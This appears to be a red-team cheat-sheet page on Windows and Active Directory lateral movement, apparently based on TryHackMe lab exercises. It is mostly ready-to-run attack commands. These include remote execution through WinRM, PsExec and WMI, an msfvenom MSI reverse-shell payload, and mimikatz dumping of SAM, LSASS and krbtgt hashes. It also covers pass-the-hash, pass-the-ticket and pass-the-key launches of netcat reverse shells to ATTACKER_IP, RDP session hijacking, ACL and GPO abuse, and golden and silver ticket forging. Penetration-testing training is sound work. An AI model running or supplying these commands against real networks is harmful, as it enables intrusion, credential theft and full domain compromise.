# 5. Lateral Movement

## Process Spawning

### WinRM

* **Ports:** 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
* **Required Group Memberships:** Remote Management Users

Using `winrs.exe`

```
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
```

Using PowerShell

{% code overflow="wrap" %}

```powershell
$username = 'Administrator';

$password = 'Mypass123';

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;

$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Enter-PSSession -Computername TARGET -Credential $credential
```

{% endcode %}

Running command remotely

{% code overflow="wrap" %}

```powershell
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
```

{% endcode %}

### PsExec

* **Ports:** 445/TCP (SMB)
* **Required Group Memberships:** Administrators

The way psexec works is as follows:

1. Connect to Admin$ share and upload a service binary `psexesvc.exe` on the victim machine
2. Connect to the service control manager to create and run a service named PSEXESVC and associate the service binary with `C:\\Windows\\psexesvc.exe`.
3. Create some named pipes to handle stdin/stdout/stderr.

On the attacker machine, we can execute commands on the victim machine with

{% code overflow="wrap" %}

```bash
psexec64.exe \\\\VICTIM_MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
```

{% endcode %}

### WMI

To interact with WMI, we need to create a session object. This session object will be used for all exploits

{% code overflow="wrap" %}

```bash
PS C:\\> $username = 't1_corine.waters';

PS C:\\> $password = 'Korine.1994';

PS C:\\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;

PS C:\\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

PS C:\\> $Opt = New-CimSessionOption -Protocol DCOM

PS C:\\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop
```

{% endcode %}

#### Remote Process Creation Using WMI

* **Ports:**
  * 135/TCP, 49152-65535/TCP (DCERPC)
  * 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
* **Required Group Memberships:** Administrators

RCE using WMI

{% code overflow="wrap" %}

```powershell
$Command = "powershell.exe -Command Set-Content -Path C:\\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command}
```

{% endcode %}

#### Creating Services Remotely with WMI

* **Ports:**
  * 135/TCP, 49152-65535/TCP (DCERPC)
  * 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
* **Required Group Memberships:** Administrators

Create a service on the victim machine using WMI

{% code overflow="wrap" %}

```powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
```

{% endcode %}

Start the service on the victim machine

{% code overflow="wrap" %}

```powershell
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService
```

{% endcode %}

Stop and remove the service on the victim machine

```powershell
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
```

#### Installing MSI packages through WMI

* **Ports:**
  * 135/TCP, 49152-65535/TCP (DCERPC)
  * 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
* **Required Group Memberships:** Administrators

Once we create an `msi` reverse shell payload with `msfvenom` and uploaded it to the victim, we can use WMI to remote trigger the payload

Create the payload

{% code overflow="wrap" %}

```bash
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > myinstaller.msi
```

{% endcode %}

Upload the payload to the victim machine

{% code overflow="wrap" %}

```bash
user@AttackBox$ smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' 

Korine.1994
 putting file myinstaller.msi as \\myinstaller.msi (0.0 kb/s) (average 0.0 kb/s)
```

{% endcode %}

Trigger the MSI install via WMI using the session object

{% code overflow="wrap" %}

```powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\\Windows\\myinstaller.msi"; Options = ""; AllUsers = $false}
```

{% endcode %}

## Pass The Hash

Extract hashes from SAM

```
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam   
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 145e02c50333951f71d13c245d352b50
```

Extract hashes from LSASS

```
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv 
```

Once we have the hash, we execute PTT to execute commands on the server

{% code overflow="wrap" %}

```
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
```

{% endcode %}

RDP using the hash

```
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
```

PsExec using the hash

```
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
```

WinRM using the hash

```
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
```

## Pass the Ticket

Getting tickets using mimikatz

```
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
```

Injecting the ticket in our current session

{% code overflow="wrap" %}

```
mimikatz # kerberos::ptt e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
```

{% endcode %}

## Pass the Key

Getting the keys using mimikatz

```
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
```

If we have the RC4 hash:

{% code overflow="wrap" %}

```
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\\tools\\nc64.exe -e cmd.exe ATTACKER_IP 5556"
```

{% endcode %}

If we have the AES128 hash:

{% code overflow="wrap" %}

```
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\\tools\\nc64.exe -e cmd.exe ATTACKER_IP 5556"
```

{% endcode %}

If we have the AES256 hash:

{% code overflow="wrap" %}

```
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\\tools\\nc64.exe -e cmd.exe ATTACKER_IP 5556"
```

{% endcode %}

## RDP Hijacking

Open up `cmd.exe` as administrator and execute psexec

```
C:\\> PsExec64.exe -s cmd.exe
```

From there, query existing sessions on the server

{% code overflow="wrap" %}

```
C:\\> query user
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>administrator         rdp-tcp#6           2  Active          .  4/1/2022 4:09 AM
 luke                                    3  Disc            .  4/6/2022 6:51 AM
```

{% endcode %}

Any session with a **`Disc`** state has been left open by the user and isn't being used at the moment. While you can take over active sessions as well, the legitimate user will be forced out of his session when you do, which could be noticed by them.

Connect to a session via

```sh
tscon <ID> /dest:<our session name>

# example:
tscon 3 /dest:rdp-tcp#6
```

## Permission Delegation

Active Directory can delegate permissions and privileges through a feature called `Permission Delegation`

Examples of potentially exploitable permissions

* `ForceChangePassword`: We have the ability to set the user's current password without knowing their current password.
* `AddMembers`: We have the ability to add users (including our own account), groups or computers to the target group.
* `GenericAll`: We have complete control over the object
* `GenericWrite`: We can update any **non-protected** parameters of our target object.&#x20;
* `WriteOwner`: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing us to gain additional permissions over the object.
* `WriteDACL`: We have the ability to write new ACEs to the target object's DACL. We could, for example, write an ACE that grants our account full control over the target object.
* `AllExtendedRights`: We have the ability to perform any action associated with extended AD rights against the target object.

For example, given this Bloodhound graph, users in `Domain Users` group have `GenericWrite` permissions to `IT SUPPORT` group.

Users in `IT SUPPORT` group have `ForceChangePassword` permissions over a number of users.

To exploit this, we leverage on `GenericWrite` permissions to write ourselves into `IT SUPPORT` group, then we force change a password

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FF0hjpKhrfS81orxA2WB9%2Fdl05kxym.bmp?alt=media&#x26;token=cd57fea9-a4ee-4703-a38c-b800029fbde9" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```powershell
# Leverage on GenericWrite permissions
PS C:\>Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

# Creating a Password Object
PS C:\>$Password = ConvertTo-SecureString "New.Password.For.User" -AsPlainText -Force 

# Leverage on ForceChangePassword permissions
PS C:\>Set-ADAccountPassword -Identity "t2_leon.francis" -Reset -NewPassword $Password

```

{% endcode %}

## Kerberos Delegation

There are three types of Kerberos Delegation:

1. Constrained Delegation (CD) - Can access only certain services
2. Unconstrained Delegation (UD) - Can access any service
3. Resource-Based Constrained Delegation (RCD) - Service specifies who can delegate to it

We can see which accounts are allowed to delegate to which services using this command

```
PS C:\\>Import-Module C:\\Tools\\PowerView.ps1
PS C:\\>Get-NetUser -TrustedToAuth
```

The account `svcIIS` can delegate to `HTTP` and `WSMAN` services on `THMSERVER1`

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FmDDtYxjqMkLQjILCnd1q%2Fimage.png?alt=media&#x26;token=462ec7fa-c181-44f9-955b-b4bce0b3e586" alt=""><figcaption></figcaption></figure>

Once we compromise the account `svcIIS` we can create a TGT and TGS to access those services

{% code overflow="wrap" %}

```powershell
# Using mimikatz to dump the password of svcIIS
mimikatz > lsadump::secrets

# Using keko and the dumped password to get a TGT
kekeo > tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted

# Using the TGT to get a TGS for HTTP service
kekeo > tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

# Loading the TGS into our session 
mimikatz > kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

# Using the TGS to access the server
PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
```

{% endcode %}

## Using GPOs

Using this graph from Bloodhound, we see that account `SVCSERVMAN` can write to policies under `MANAGEMENT SERVER PUSHES`.

The polices in `MANAGEMENT SERVER PUSHES` is linked to `MANAGEMENT SERVER`, which will be applied to the `THMSERVER2` machine.

We can update the policy `MANAGEMENT SERVER PUSHES` to add our malicious account to RDP and Admin groups of `THMSERVER2`

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FhHoLlv1PMfvxcD5MGx4B%2Fguzvg1kg.bmp?alt=media&#x26;token=3d585bdc-9406-477f-876d-bb243ecfc4c4" alt=""><figcaption></figcaption></figure>

Opening MMC and adding the `Group Policy Management` snap-in

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2Fw513fiYGIhY9lJ2Rln56%2Fimage.png?alt=media&#x26;token=5e49174b-f158-470a-b7d6-0cec4cf3e04e" alt=""><figcaption></figcaption></figure>

Editing the `Management Server Pushes` policy

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FsrRVPYwqldIaBZA04Ne4%2Fpjthhtp3.bmp?alt=media&#x26;token=20104b6d-414a-4c6c-99e0-c3a1a01e4347" alt=""><figcaption></figcaption></figure>

1. Expand **Computer Configuration**
2. Expand **Policies**
3. Expand **Windows Settings**
4. Expand **Security Settings**
5. Right Click on **Restricted Groups** and select **Add Group**
6. Click **Browse,** enter **`IT Support`** and click **Check Names**
7. Click **Okay** twice
8. Add `Administrators` and `Remote Desktop Users` to the group membership

<figure><img src="https://3058261645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJdAk5WnJDW6XiiRqO51Y%2Fuploads%2FRF6eYE0D2eo7WunrrHNJ%2Fq4p2cpxz.bmp?alt=media&#x26;token=892e9d32-dd07-446e-95a5-3a8b4daa4dbf" alt=""><figcaption></figcaption></figure>

## Golden/Silver Ticket

In a Golden Ticket attack we attempt to forge a TGT. To do that, we need the following information:

* The FQDN of the domain
* The Security Identifier (SID) of the domain
* The username of the account we want to impersonate
* The `KRBTGT` account password hash

We use mimikatz with `DC Sync` to get the password hash of `KRBTGT` account

{% code overflow="wrap" %}

```powershell
mimikatz > lsadump::dcsync /user:za\\krbtgt

[...]
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
[...]
Credentials:
  Hash NTLM: <HASH HERE>
    ntlm- 0: <HASH HERE>
    lm  - 0: <HASH HERE>
[....]
```

{% endcode %}

We recover two SIDs:

* The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT
* The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT

{% code overflow="wrap" %}

```powershell
PS C:\> Get-ADComputer -Identity "THMDC"

[...][
SID               : <CHILD SID>

PS C:\> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

[...]
SID               : <ENTERPRISE SID>

```

{% endcode %}

Forging the Golden Ticket using mimikatz and loading it in our session.

{% code overflow="wrap" %}

```powershell
mimikatz > kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:<CHILD SID> /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<ENTERPRISE SID> /ptt
```

{% endcode %}

If we only have the hash of the local machine and not the hash of `krbtgt`, we can forge a silver ticket instead

{% code overflow="wrap" %}

```
mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
```

{% endcode %}

We can now access machines in the parent Domain.
